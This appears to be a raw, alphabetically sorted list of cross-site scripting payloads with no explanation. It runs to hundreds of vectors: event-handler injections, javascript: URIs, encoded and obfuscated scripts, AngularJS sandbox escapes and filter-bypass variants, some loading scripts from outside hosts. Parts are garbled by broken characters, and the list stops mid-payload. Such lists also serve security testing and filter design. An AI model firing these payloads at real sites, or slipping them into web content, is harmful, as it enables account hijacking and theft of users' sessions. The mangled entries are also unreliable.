<a target=”x” href=”1me?1=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
atob.constructor(atob`YWxlcnQoMSk`)``
atob.constructor(atob(/YWxlcnQoMSk/.source))()
atob.constructor(unescape([…escape((??????????????????????????????????????????????????=?=>?).name)].filter((?,?)=>?%12<1|?%12>9).join([])))()
atob(“YWxlcnQoMSk=”)
atob`YWxlcnQoMSk` instanceof window
[atob(‘ZGVmYXVsdFZpZXc=’)][8680439..toString(30)](1)
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval(‘a,alert(1),a’)}}
{{ ‘a’[{toString:false,valueOf:[].join,length:1,0:’__proto__’}].charAt=[].join; $eval(‘x=alert(1)//’); }}
{{‘a’[{toString:[].join,length:1,0:’__proto__’}].charAt=’’.valueOf;$eval(“x=’”+(y=’if(!window\\u002ex)alert(window\\u002ex=1)’)+eval(y)+”’”);}}
.attr
attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>
\’-a\u{6c}e\u{72}t(1))%0a ?
<audio onerror=”javascript:alert(1)”><source>//INJECTX
<AuDiO/**/oNLoaDStaRt=’(_=/**/confirm/**/(1))’/src><!?—?renwax23
<audio src=1 href=1 onerror=”javascript:alert(1)”></audio>
<audio src=”data:audio/mp3,%FF%F3%84%C4%FF%F3%14% C4" oncanplay=”alert(1)”>
<audio src onloadstart=alert(1)>
<audio src onloadstart=alert(101)>
<audio src=x onerror=confirm(“1”)>
<audio src=x onerror=prompt(1);>
“ autofocus onfocus=alert(1) “
“autofocus/onfocus=alert(1)//
“autofocus/onfocus=alert(1)
autofocusonfocus=alert(1)//
‘“/autofocus/onfocus=’alert(1)’x=
“autofocus/onfocus=alert(78)//
‘ autofocus onkeyup=’javascript:alert(1)
“ autofocus onkeyup=”javascript:alert(1)
“autof<x>ocus o<x>nfocus=alert<x>(1)//
<AutoStart>1</AutoStart>
avascript&#x3A;alert&lpar;document&period;cookie&rpar;
<A?vg><A?cript/href=//aEa?L>
<a[\x0B]
<a xlink:href=”http://google.com">
<a xmlns:xlink=”http://www.w3.org/1999/xlink" xlink:href=”javascript:alert(1)”><rect width=”1000" height=”1000" fill=”white”/></a>
<a xmlns:xlink=??http://www.w3.org/1999/xlink?? xlink:href=??javascript:alert(9)??>
><a 1-test href=jAvAsCrIpT&colon;prompt&lpar;/1-By-Muhaddi/&rpar;>ClickMe
??><a 1-test href=jAvAsCrIpT&colon;prompt&lpar;/1-By-Muhaddi/&rpar;>ClickMe
><a 1-test href=jAvAsCrIpT&colon;prompt&lpar;/1-by-Shawar/&rpar;>ClickMe
a{xxx:\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\27\78\73\73\27\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\3b\7d\29}
a{xxx:expression(if(!window.x){alert(‘1’);window.x=1;})}
<a z=&x=& onmousemove=t=Object(window.name);
<a z=&x=& onmousemove=t=Object(window.name);({$:#0=t,z:eval(String(#0#).replace(/@/g,))}).z//>
b=`*/(1)}`;
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
<BackgroundColor>FFFFFF</BackgroundColor>
background-repeat:no-repeat V><math><!V
background:url(‘//brutelogic.com.br/webgun/img/youtube1.jpg’);
background:url(//brutelogic.com.br/webgun/img/youtube1.jpg);background-repeat:no-repeat V><math><!V
<b/alt=”1"onmouseover=InputBox+1
<b/alt=”1"onmouseover=InputBox+1 language=vbs>test</b>
<b/alt=”1"onmouseover=InputBox+1language=vbs>test</b>
banner.swf?clickTAG=javascript:alert(1);//
base64 alert(2) = data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<base href=//0>
<base href=data:/,0/><script src=alert(1)></script>
<base href=data:/,alert(1)/><script src=”jquery.js”></script>
<base href=”/\evil”>
<base href=javascript:/0/><iframe src=,alert(1)></iframe>
<base href=”javascript:\”> <a href=”//%00confirm(2);//”>1</a>
<base href=”javascript:\”> <a href=”//%0a%0dconfirm(2);//”>1</a>
<base href=”javascript:\”> <a href=”//%0aalert(/1/);//”>link</a>
<base href=”javascript:\”> <a href=”//%0aconfirm(2);//”>1</a>
<base href=”javascript:/”><a href=”**/alert(1)”><base href=”javascript:/”><a href=”**/alert(1)”>
<base href=”javascript:\”> <a href=”//1.cx/1.js”>1</a>
<base+href=”javascript:alert(1);//”>
<BASE href=”javascript:alert(‘X8SS’);//”>
<;BASE HREF=”;javascript:alert(‘;1’;);//”;>;
<BASE HREF=”javascript:alert(‘1’);//”> 
<BASE HREF=”javascript:alert(‘1’);//”>
<BASE HREF=”javascript:alert(1);//”>
<BASE HREF=”javascript:confirm(‘1’);//”>
<base HREF=”javascript:document.vulnerable=true;//”>
<BASE HREF=”javascript:javascript:alert(1);//”>
<base/href=j&#x041va&#83cript&#x3a&#x2f>
?base=javascript:alert(0)”,
<base target=”<script>alert(1)</script>”><a href=”javascript:name”>CLICK</a>
?baseurl=asfunction:getURL,javascript:alert(1)//”,
<b class=”ng-include:’//evil’’”>
begin=”0s” dur=”0.1s” fill=”freeze”/>
<BGSOUND id=1 SRC=”javascript:alert(‘1’);”>
<bgsound onPropertyChange bgsound onPropertyChange=”javascript:javascript:alert(1)”></bgsound onPropertyChange>
<bgsound+src=”javascript:alert(1);”>
<BGSOUND src=”javascript:alert(‘XjSS’);”>
<;BGSOUND SRC=”;javascript:alert(‘;1’;);”;>;
<BGSOUND SRC=”javascript:alert(‘1’);”>
<BGSOUND SRC=”javascript:alert(‘1’);”
<BGSOUND SRC=”javascript:alert(1);”>
 <BGSOUND SRC=”javascript:alert(‘1’);”>
<BGSOUND SRC=”javascript:confirm(‘1’);”>
<bgsound src=”javascript:document.vulnerable=true;”>
<bgsound SRC=”javascript:document.vulnerable=true;”>
<BGSOUND SRC=”javascript:javascript:alert(1);”>
<blah style=”blah:expression(alert(1))” />
<blink/ onmouseover=pr&#x6F;mpt(1)>OnMouseOver {Firefox & Opera}
[<blockquote cite=”]”>[“ onmouseover=”alert(‘RVRSH3LL_1’);” ]
<b><noscript><a src=’x’ style=’x:\3c\2fnoscript\3e\3ciframe/onload\3d alert(1)\3e’>
<BoDy%0AOnpaGeshoW=%2bwindow.prompt(1)
body.appendChild(createElement(‘script’)).src=’//DOMAIN’
<BODY BACKGROUND=”javascript:alert(‘XeSS’)”>
<;BODY BACKGROUND=”;javascript:alert(‘;1’;);”;>;
<BODY BACKGROUND=”javascript:alert(‘1’);”>
<BODY BACKGROUND=”javascript:alert(1)”>
<BODY BACKGROUND=javascript:alert(1)>
<body background=javascript:alert(/1/)></body>
<BODY BACKGROUND=”javascript:confirm(‘1’)”>
<body BACKGROUND=”javascript:document.vulnerable=true;”>
<body background=javascript:’”><script>alert(navigator.userAgent)</script>></body> 
<body background=javascript:’”><script>alert(navigator.userAgent)</script>></body>
<body background=javascript:’”><script>alert(1)</script>></body>
body{background:url(JavAs cr ipt:alert(0))}
body{background:url(“javascript:alert(‘1’)”)}
<body <body onload=;;;;;al:eval(‘al’+’ert(1)’);;>
</BODY></HTML>
<body id=1 onscroll=eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32))><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<body language=vbsonload=alert-1
<body language=vbs onload=alert-1
<body language=vbs onload=alert-1 // IE-8
<body language=vbs onload=confirm-1
<body language=vbs onload=window.location=’data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+’>
“><body language=vbs onload=window.location=’http://1.cx'>
<body/onactivate=alert(1)>
<body/onactivate=URL=name//
<body onbeforeunload body onbeforeunload=”javascript:javascript:alert(1)”></body onbeforeunload>
<body onBeforeUnload body onBeforeUnload=”javascript:javascript:alert(1)”></body onBeforeUnload>
<body onblur body onblur=”javascript:javascript:alert(1)”></body onblur>
<body onblur=x onload=popup=1;>
<body onclick=”poc();”>
<body onerror=popup=1;><svg/onfocus=import>
<body onfocus=alert(1)>
<body onfocus=alert(93)>
<body onfocus body onfocus=”javascript:javascript:alert(1)”></body onfocus>
<body onFocus body onFocus=”javascript:javascript:alert(1)”></body onFocus>
<body onfocus=”location=&#039;javascrpt:alert(1)
<body onfocus=”location=&#039;javascrpt:alert(1) >1
<body onfocus=”location=’javascrpt:alert(1) >1
<body onhashchange=alert(1)>
<body/onhashchange=alert(1)><a href=#>clickit
<body/onhashchange=alert(1)><a href=#>click me
<body onhashchange=alert(1)><a href=#x>click this!#x
<body onhashchange=alert(94)><a href=#x>click this!#x
<body onhelp=alert(1)>press F1! (MSIE)
<body onhelp=alert(98)>press F1! (MSIE)
<body oninput=alert(document.domain)><input autofocus></br>
<body onkeydown body onkeydown=”javascript:javascript:alert(1)”></body onkeydown>
<body onkeyup body onkeyup=”javascript:javascript:alert(1)”></body onkeyup>
<body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write(1);;;;
<body onload=a1={x:this.parent.document};a1.x.writeln(1);>
<body onload=;a2={y:eval};a1={x:a2.y(‘al’+’ert’)};;;;;;;;;_=a1.x;_(1);;;;
\”><BODY ONLOAD=alert(0x0001)>
<body onload=;;;;;;;;;;;_=alert;_(1);;;;
<body onload=alert(1)>
<body onload=”$})}}}});alert(1);({0:{0:{0:function(){0({“>
<body/onload=alert(25)>
<body onload=alert(91)>
<BODY ONLOAD=alert(‘hellox worldss’)>
<BODY ONLOAD=alert(i1i)>
<BODY ONLOAD=alert(‘XgSS’)>
><body/onload=alert(1)>
??><body/onload=alert(??1??)>
<body onLoad=”alert(‘1’);” 
<body onLoad=”alert(‘1’);”
<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(“;1”;)>;
<BODY onload!#$%&()*~+_.,:;?@[/|]^`=alert(“1”)>
<BODY onload!#$%&()*~+_.,:;?@[/|\]^`=alert(“1”)>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“1”)>
<BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert(“1”)>
“><BODY onload!#$%&()*~+_.,:;?@[/|]^`=alert(“1”)> 
“><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“1”)>
“;>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(“;1”;)>;
<;BODY ONLOAD=alert(‘;1’;)>;
<BODY ONLOAD=alert(“1”)>
<BODY ONLOAD=alert(??1??)>
<BODY ONLOAD=alert(1)>
<BODY ONLOAD =alert(‘1’)>
><body/onload=alert(1-By-Muhaddi)>
<body onload=alert(/1/.source)>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘X12SS’);}</SCRIPT><”
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘1’);}</SCRIPT><”
<body onload body onload=”javascript:javascript:alert(1)”></body onload>
<body onLoad body onLoad=”javascript:javascript:alert(1)”></body onLoad>
<BODY ONLOAD=confirm(‘1’)>
<body onload=”document.vulnerable=true;”>
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;
<body/onload=javascript:window.onerror=eval;throw’=alert\x281\x29';>
<body/onload=location=name//
<body/onload=location=write(top)//
<body/onload=&lt;!?—?&gt;&#10alert(1)> 
<body/onload=&lt;!?—?&gt;&#10alert(1)>
<body/onload=&lt;!?—?&gt;&#10confirm(1)>
<body/onload=&lt;!?—?&gt;&#10confirm(1);prompt(/1/.source)>
><body/onload=&lt;!?—?&gt;&#10confirm(1);prompt(/1/.source)>
“<body/onload=&lt;!?—?&gt;&#10confirm(1);prompt(/1/.source)>”
“\”><body/onload=&lt;!?—?&gt;&#10confirm(1);prompt(/1/.source)>”,
<body onload=popup=1;>
<body onload=```${prompt``}`>
<body onload=prompt(1);>
<body/onload=self[/loca/.source%2b/tion/.source]=name//
<body/onload=this[/loca/.source%2b/tion/.source]=name//
<body/onload=URL=name//
<body onload=”’use strict’;throw new class extends Function{}(‘alert(1)’)``”>
<body onload=’vbs:Set x=CreateObject(“Msxml2.XMLHTTP”):x.open”GET”,”.”:x.send:MsgBox(x.responseText)’>
<body onLoad=”while(true) alert(‘1’);”> 
<body onLoad=”while(true) alert(‘1’);”>
<body/onload=window[/loca/.source%2b/tion/.source]=name//
<body/????$/onload=x={doc:parent[??document??]};x.doc.writeln(1)
<body onMouseEnter body onMouseEnter=”javascript:javascript:alert(1)”></body onMouseEnter>
<body onMouseMove body onMouseMove=”javascript:javascript:alert(1)”></body onMouseMove>
<body onMouseOver body onMouseOver=”javascript:javascript:alert(1)”></body onMouseOver>
<body onorientationchange=alert(1)>
<body onorientationchange=alert(orientation)>
<body onpagehide body onpagehide=”javascript:javascript:alert(1)”></body onpagehide>
<body onPageHide body onPageHide=”javascript:javascript:alert(1)”></body onPageHide>
<body onpageshow=”alert(1)”>
<body onpageshow=alert(1)>
<body/onpageshow=alert(1)>
<body onpageshow=alert(92)>
<body onPageShow body onPageShow=”javascript:javascript:alert(1)”></body onPageShow>
<body/onpageshow=confirm()>//
<body onpageshow=top[‘ale’+’rt’]()>
<body onPopState body onPopState=”javascript:javascript:alert(1)”></body onPopState>
<body onPropertyChange body onPropertyChange=”javascript:javascript:alert(1)”></body onPropertyChange>
<body onresize=alert(1)>
<body onresize=alert(1)>press F12!
<body onresize=alert(97)>press F12!
<body onResize body onResize=”javascript:javascript:alert(1)”></body onResize>
<body onscroll=alert(1)>
<body onscroll=alert(1)><br><br><br><br>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x
<body onscroll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<body onscroll=alert(96)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x
<body onscroll=alert(1)><br><br><br><br><br><br>…<br><br><br><br><input autofocus>
<body onscroll=javascript:alert(1)><br><br><br><br><br><br>…<br><br><br><br><br><br><br><br><br><br>…<br><br><br><br><br><br><br><br><br><br>…<br><br><br><br><br><br><br><br><br><br>…<br><br><br><br><br><br><br><br><br><br>…<br><br><br><br><input autofocus>
<body onunload body onunload=”javascript:javascript:alert(1)”></body onunload>
<body onUnload body onUnload=”javascript:javascript:alert(1)”></body onUnload>
<body onunload=”javascript:alert(‘1’);”>
<body rel=’popup=1;’onerror=popup=1; onload=x >
<body><script>hash=location.hash.slice(1);document.body.innerHTML=decodeURIComponent(hash);</script></body>
<body><script>hash=location.hash.slice(1);document.write(decodeURIComponent(hash));</script></body>
<body scroll=confirm(1)><br><br><br><br><br><br>…<br><br><br><br><input autofocus>
<body/s/onload=x={doc:parent.document};x.doc.writeln(1)
<body src=1 href=1 onerror=”javascript:alert(1)”></body>
<body style=”height:1000px” onwheel=”alert(1)”>
<body style=”height:1000px” onwheel=”[DATA]”>
<body style=”height:1000px” onwheel=”[JS-F**k Payload]”> <div contextmenu=”1”>Right-Click Here<menu id=”1” onshow=”[JS-F**k Payload]”>
<body style=”height:1000px” onwheel=”prom%25%32%33%25%32%36x70;t(1)”> <div contextmenu=”1”>Right-Click Here<menu id=”1” onshow=”prom%25%32%33%25%32%36x70;t(1)”>
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body style=overflow:auto;height:1000px onscroll=alert(95) id=x>#x
<body><svg><x><script>alert(1)</script></x></svg></body>
<BODY(‘1’)>
body{1:expression(alert(??1??))}
body{1:expression(alert(1))}
body{1:expression(alert(1-By-Muhaddi))}
body{xxx:expression(eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,120,41,1,97,108,101,114,116,40,39,120,115,115,39,41,59,119,105,110,100,111,119,46,120,61,49,59,125)))}
<b onbeforescriptexecute=alert(185)>
<bonbeforescriptexecute=prompt()>
<b onclick=alert(1)>click me!
“><b/onclick=”javascript:window.window.window[‘confirm’](1)”>bold
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<;br size=\”;&;{alert(&#039;1&#039;)}\”;>;
<br size=”&{alert(‘XkSS’)}”>
<br size=”&{alert(‘1’)}”> 
<br size=”&{alert(‘1’)}”>
<br size=\”&{alert(‘1’)}\”>
<;BR SIZE=”;&;{alert(‘;1’;)}”;>;
<BR SIZE=”&{alert(‘1’)}”>
<BR SIZE=”&{alert(1)}”> (netspace)
<BR SIZE=”&{confirm(‘1’)}”>
<br SIZE=”&{document.vulnerable=true}”>
<BR SIZE=”&{javascript:alert(1)}”>
</br style=a:expression(alert())> 
</br style=a:expression(alert(1))>
<brute contenteditable onblur=alert(1)>lose focus!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute contenteditable onpaste=alert(1)>paste here!
//brutelogic.com.br/tests/status.html&msg=<script>alert(document.domain)
//brutelogic.com.br/webgun/test.php?p=<body/onhashchange=alert(document.domain)>
//brutelogic.com.br/webgun/test.php?p=<body/onresize=alert(document.domain)>
//brutelogic.com.br/webgun/test.php?p=<svg/onload=eval(name)>&name=alert(document.domain)
<brute onclick=alert(1)>clickme!
<brute onclick=alert(1)>click this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncopy=alert(1)>copy this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003
<b <script>alert(1)//</script>0</script></b>
<b “<script>alert(1)</script>”>hola</b>
<b><script<b></b><alert(1)</script </b></b>
<B=”<SCRIPT>confirm(1)</SCRIPT>”>
<B <SCRIPT>confirm(1)</SCRIPT>>
b={{set(‘_rootDataHost’,ownerdefaultView)}}
[?=btoa][?`~)e`][?`OE’2UirU+`.split`1`[-~0]]`$${?`zoD`+”($)”}$``0${btoa(‘|o&|Y’).match(/[h-te]*/)+’(/’+btoa(‘n\x8a-3,’)+’/)’}`
b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name
b=\”URL(\\”\”;
<button autofocus onfocus=confirm(2)>
<button autofocus=x onchange=’import’onfocus=popup=1; >
<button data=popup=1; id=’x’onfocus=popup=1; >
<button form=test onformchange=alert(1)>//INJECTX
<button form=x>1<form id=x action=”javas&Tab;cript:alert(1)”//
<button>’><img src=x onerror=confirm(0);></button>
“<button>’><img src=x onerror=confirm(0);></button>”
<button ‘ onclick=alert(1)//>*/alert(1)//
<button/onclick=alert(20)>M
<button onclick=popup=1;>
<button onclick=”window.open(‘http://1.cx/::Error138 ‘);”>CLICKME
<button onfocus=alert(1) autofocus>
<button onmousemove=”javascript:alert(1)”>renwa
<button><select%20name=1><option>%26%23x000000003c;script%26%23x000000003e;alert(1)%26%23x000000003c;/script%26%23x000000003e;
<button><select%20name=1><option>%26%23x3c;script%26%23x3e;
buttons.html(button.getAttribute(“data-text”));
“><button><svg/onload=v=prompt;v(/1/.source);v(0)></button>
$(“button”).val(“<iframe src=vbscript:confirm(1)>”)
`<b\x20#x (click)=”x.inn\x65rHTML=’\x3ciframe onload=alert(1)\x3e’”>CLICK</b>`
B+Z+J+W+O;
c={{}}
%c0??//(0000%0dconfirm(1)//
“ = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
‘ = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
%c0u003cimg+src%3d1+onerror%3dalert(/1/)+%c0u003e
%c1;alert(/1/);//
c2=c.getContext(‘2d’);
c2=c.getContext(2d);
? (%c4%b0).toLowerCase() => i
? (%c4%b1).toUpperCase() => I
? (%c5%bf) .toUpperCase() => S
‘ = %CA%B9
“ = %CA%BA
%CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881)>
%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert(1)%EF%BC%9E
%CA%BA%EF%BC%9E%EF%BC%9Csvg onload %EF%BC%9Dalert%EF%BC%881%EF%BC%89%EF%BC%9E
?callback=javascript:alert(1)”,
callback({“name”:”[0xc0]\u003cimg src=1 onerror=alert(/1/) [0xc0]\u003e”});
callback({“name”:”u003cimg src=1 onerror=alert(/1/) u003e”})
?callback=<script/src=?callback=alert(document.domain)//></script>
<canvas onclick=”popup=1;”>
Carriage Return Injected##<script%0Daaa>alert(1)</script%0Daaaa>
\”))}catch(e){alert(1)}//
\”));}catch(e){confirm(document.domain);}//
\”));}catch(e){confirm(document.domain)}//
;\”))}catch(e) {confirm(document.location);}//
;\\”))}catch(e) {confirm(document.location);}//
\”));}catch(e){x=window.open(‘http://1.cx/');setTimeout('confirm(x.document.body.innerText)',4000)}//
//@cc_on-alert(1))
/*@cc_on-alert(1))
<![CDATA”:
<![CDATA[<h1>My HTML content</h1>]]>
![CDATA[<!?—?]]<script>alert(‘1’);// ?</script>
<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(‘1’);<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
<![CDATA[<script>confirm(document.domain)</script>]]>
<![CDATA[<script>var n=0;while(true){n;}</script>]]>
c=d.createElement(‘canvas’);
c=d.createElement(canvas);
<center><h1 id=’text’>Click here to 1!</h1></center>
charset=utf-
charset=utf- 32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
charset=utf-8&v=><img src=x onerror=prompt(0);>
charset=utf-8&v=??><img src=x onerror=prompt(0);>
c.height=480;
Chrome (Any character \x01 to \x20)
chrome&jsonp=alert(1);
Chrome: this[Object[“keys”](this)[146]](1)
‘`”><*chr*script>log(*num*)</script>
<cite><a href=”javascript:confirm(1);”>1 cited!</a></cite>
c=\”javascript&#058;\”;
```${``[class extends[alert``]{}]}```
[class extends[alert````]{}]
,class extends[]/alert(1){}
!class extends`${alert(1)}```{}
class extends[]/alert(1){}
class 1 {public static function main() {flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||”javascript:alert(1)”),flash.Lib._root.name||”_top”);}}
[Click here](javascript:alert(1))
?clickTAG=javascript:alert(1)”,
?clickTAG=javascript:alert(1)&TargetAS=”,
<code onmouseover=a=eval;b=alert;a(b(/g/.source));>HI</code>
Code Reuse Regular Script
: = &colon;
[color=red’ onmouseover=”alert(‘1’)”]mouse over[/color] 
[color=red’ onmouseover=”alert(‘1’)”]mouse over[/color]
[color=red width=expression(alert(1))][color] 
<command onmouseover=”javascript:confirm(0);”>Save //
<command onmouseover=”\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B”>Save</command>
<Command onmouseover=”\ X6A \ x61 \ x76 \ x61 \ x53 \ x43 \ x52 \ x49 \ x50 \ x54 \ x26 \ x63 \ x6F \ x6C \ x6F \ x6E \ x3B \ x63 \ x6F \ x6E \ x6 6 \ x69 \ x72 \ x6D \ x26 \ x6C \ x70 \ x61 \ x72 \ x3B \ x31 \ x26 \ x72 \ x70 \ x61 \ x72 \ x3B “> Save </ command>
<comment><img src=”</comment><img src=x onerror=alert(1)//”>
<comment><img src=”</comment><img src=x onerror=alert(1))//”>
<comment><img src=”</comment><img src=x onerror=alert(/ourren_demo/)//”>
<comment><img src=”</comment><img src=x onerror=javascript:alert(1))//”>
Components.lookupMethod(self, ‘alert’)(1)
Components.lookupMethod(self, ‘confirm’)(1)
=confirm(1);>”;>
-confirm(1)-
‘-/”/-confirm(1)//’
‘-confirm`1`-’
“-confirm`1`-”
\’);confirm(1);//
\”;confirm(1);//
+confirm(1)?—?
+confirm(1)
??;confirm(1)//
confirm(1)”.replace(/.+/,eval)//
confirm`1`; var something = `abc${confirm(1)}def`; ``.constructor.constructor`confirm\`1\````;
confirm(1)>>>/1
‘+confirm(9)&&null==’
confirm = co\u006efir\u006d
Confirm = co\u006efir\u006d
-(confirm)(document.domain)//
\”;confirm(document.location);//
confirm(document.location)
confirm(document.selection.createRange().getBookmark()) 
confirm(location.hostname)
‘;confirm(String.fromCharCode(88,83,83))//’;confirm(String.fromCharCode(88,83,83))//”;
confirm(String.fromCharCode(88,83,83))//”;confirm(String.fromCharCode(88,83,83))//?—?
‘;confirm(String.fromCharCode(88,83,83))//’;confirm(String.fromCharCode(88,83,83))//”;confirm(String.fromCharCode(88,83,83))//”;confirm(String.fromCharCode(88,83,83))//?—?</SCRIPT>”>’><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
‘;confirm(String.fromCharCode(88,83,83))//\’;confirm(String.fromCharCode(88,83,83))//”;confirm(String.fromCharCode(88,83,83))//\”;confirm(String.fromCharCode(88,83,83))// ?</SCRIPT>”>’><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>=&{}
confirm(window.toStaticHTML(‘<base href=”http://1.cx/"></base>')); 
confirm(window.toStaticHTML(‘<label style=”overflow:hidden;background:red;display:block;width:4000px;height:4000px;position:absolute;top:0px;left:0px;” for=”submit”>Click’)); 
confirm(window.toStaticHTML(‘<marquee>foo</marquee>’)); 
“; ||confirm(‘1’) || “
confirm(<1>xs{[function::status]}s</1>)
[][?=’constructor’][?](‘alert(1)’)()
[].constructor.constructor(‘alert(1)’)()
[].constructor.constructor(“alert” + “(1)”)()
[][‘constructor’][‘constructor’](‘alert(1)’)()
{{constructor.constructor(‘alert(1)’)()}}
${‘’.constructor.constructor(‘alert(1)’)()}
{{constructor.constructor(‘alert(1)’)()}} <div ng-app> {‘a’.constructor.fromCharCode=[].join; ‘a’.constructor[0]=’\u003ciframe onload=alert(/Backdoored/)\u003e’;}} </div> <div ng-app> {{‘a’.constructor.prototype.charAt=[].join; $eval(‘x=alert(1)’)+’’}} </div> <script> onload=function(){document.write(String.fromCharCode(97));}</script> <SCRIPT SRC=http://3w.org/1/1.js> </ SCRIPT> <SCRIPT SRC=http://3w.org/1/1.js> </ SCRIPT> <IMG SRC=javascript:alert(‘1’)> <IMG SRC=JaVaScRiPt:alert(‘1’)> <IMG SRC=javascript:alert(“1”)> <IMG “””> <SCRIPT> Alert (“1”) </ SCRIPT> “> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=jav..??..S’)> Unicode encoding ( 9 ) 7 of UTF-8 is no semicolon ( calculator ) <IMG SRC=jav..??..S’)> <IMG SRC=java..??..1’)> <IMG SRC=”jav ascript:alert(‘1’);”> <IMG SRC=”jav ascript:alert(‘1’);”> <IMG SRC = “jav ascript: alert (‘1 ‘ ) ; “ > <IMG SRC=”jav ascript:alert(‘1’);”> <IMG SRC=”javascript:alert(‘1’)”> <script> z = ‘document.’ </ script> <script> z = z + ‘write (“‘ </ script> <script> z = z + ‘<script’ </ script> <script> z = z + ‘src = ht’ </ script> <script> z = z + ‘tp :/ / ww’ </ script> <script> z = z + ‘w.zoyzo’ </ script> <script> z = z + ‘. cn / 1.’ </ script> <script> z = z + ‘js> </ sc’ </ script> <script> z = z + ‘ript> “)’ </ script> <script> eval_r (z) </ script> perl-e ‘print “<IMG SRC=javascript:alert(“1”)>”;’> out perl-e ‘print “<SCRIPT> alert (“ 1 “) </ SCRIPT>”;’> out <IMG SRC=” javascript:alert(‘1’);”> <SCRIPT/1 SRC=”http://3w.org/1/1.js"> </ SCRIPT> <BODY 